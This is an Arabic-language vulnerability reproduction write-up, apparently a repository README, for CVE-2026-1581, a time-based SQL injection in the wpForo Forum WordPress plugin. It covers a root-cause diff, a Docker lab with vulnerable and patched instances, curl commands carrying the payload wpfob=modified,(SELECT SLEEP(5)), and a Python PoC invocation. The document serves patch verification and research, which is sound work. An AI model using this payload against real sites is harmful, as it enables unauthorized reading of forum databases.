
يعيد إنتاج CVE-2026-1581، وهو حقن SQL قائم على الوقت دون مصادقة في wpForo Forum <=2.4.14، مع مختبر Docker وPoC لإظهار الثغرة والتحقق من التصحيح.
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-1581 |
| الإضافة | wpForo Forum |
| الإصدارات المتأثرة | <= 2.4.14 |
| الإصدار المُصحَّح | 2.4.15 |
| نوع الثغرة | حقن SQL زمني غير مصادق عليه (ORDER BY) |
| درجة CVSS | 7.5 (عالية) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 هي ثغرة حقن SQL زمني غير مصادق عليه في إضافة wpForo Forum (<= 2.4.14). يتم استخدام المعامل wpfob في جملة ORDER BY مع تطبيق تنقية نصية فقط، مما يسمح لمهاجم غير مصادق بحقن تعبيرات SQL عشوائية وقراءة البيانات من قاعدة البيانات.
قام المطوّر بإصلاح هذه الثغرة في الإصدار 2.4.15 عن طريق استبدال sanitize_text_field() بـ wpforo_sanitize_orderby()، الذي يفرض قائمة بيضاء مدركة للسياق.
التشغيل على localhost + Docker Compose فقط.
الـ PoC هو إثبات توقيت زمني لإظهار الفرق بين الإصدار المُصاب والإصدار المُصحَّح.
لا تستخدم ضد أي نظام دون إذن صريح.
إثبات الإصدار: صفحة /community/ تحمّل /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (مُصاب) مقابل 2.4.15 (مُصحَّح).
إثبات الكود: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
إثبات السلوك: wpfob=modified,(SELECT SLEEP(5)) يسبب تأخيرًا ~5 ثوانٍ على الإصدار المُصاب؛ بينما يستجيب الإصدار المُصحَّح قريبًا من خط الأساس.
نشرة CVE تذكر فقط أن هذه ثغرة حقن SQL زمني عبر المعامل wpfob، وتم إصلاحها في 2.4.15. في وقت التحليل، لم يكن هناك أي PoC عام متاح.
لذلك تم بناء هذا التقرير من خلال مقارنة الكود المصدري بين 2.4.14 و2.4.15، وتتبع المعامل من مدخلات HTTP عبر التنقية حتى نقطة استخدامه في بناء استعلام SQL — لفهم السبب الجذري وإعادة إنتاج المشكلة.

wpfobبدءًا بالبحث عن wpfob في الكود المصدري، تبيّن أن صفحة الأحدث (Recent) تأخذ القيمة مباشرة من معامل GET وتُسندها كوسيط orderby.

المُصاب (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
المُصحَّح (2.4.15) — نفس الملف، تم استبدال المُنقّي:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
لماذا التركيز على
recent.php؟ لأنه مسار قابل للاستغلال حيث يتم إسنادwpfobمباشرة إلى$args['orderby'].
ORDER BY ...بمجرد تعيين $args['orderby']، يتدفق إلى مُنشئ الاستعلام في wpForo لبناء جملة ORDER BY.
تسلسل ORDER BY (المُصاب 2.4.14)
classes/Topics.php:

classes/Posts.php:

الشرح
sanitize_text_field() فقط يزيل/ينظف السلسلة النصية — ولا يفرض قائمة بيضاء لأسماء الأعمدة المسموحة.orderby يتم تسلسله مباشرة في ORDER BY <orderby>، يمكن للمهاجم حقن تعبيرات SQL عشوائية في موضع ORDER BY.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()يقدم الإصدار 2.4.15 مُنقّي قائمة بيضاء مدرك للسياق يعيد القيمة الافتراضية إذا لم يكن الإدخال في القائمة المسموحة:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — يستخدم wp-cli لتثبيت WordPress، وتثبيت الإضافة، وإنشاء صفحة /community/ مع شورت كود [wpforo]، وتهيئة الروابط الدائمة، وإنشاء .htaccess، وإنشاء أدوات تحقق.من قراءة الكود المصدري، يتم استخدام wpfob بشكل صريح على صفحة الأحدث (recent):
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedيجب وجود موضوع واحد (topic) ومنشور واحد (post) على الأقل قبل الاختبار.
ORDER BY، ولن يُلاحظ أي تأخير — نتيجة سلبية خاطئة.يجب وجود موضوع واحد (topic) ومنشور واحد (post) على الأقل.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
المتوقع
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ خط الأساس (بدون تأخير)
8081 (مُصاب)، 8082 (مُصحَّح)docker-compose.ymlscripts/seed-wp.shمن مجلد المشروع:
docker compose up -d
تأكد من أن كلا المثيلين قابلان للوصول:
http://localhost:8081/community/http://localhost:8082/community/وصفحة الأحدث:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

مطلوب لإمكانية إعادة الإنتاج ولمنع النتائج السلبية الخاطئة.
# 1) التحقق من الأعداد (المُصاب)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) إدراج موضوع واحد ومنشور واحد (المُصاب)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
بالنسبة للمثيل المُصحَّح، استبدل seed_vuln بـ seed_patched.
يُوصى باستخدام بيئة افتراضية:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# المُصاب
python3 poc.py http://localhost:8081
# المُصحَّح
python3 poc.py http://localhost:8082

docker compose down -v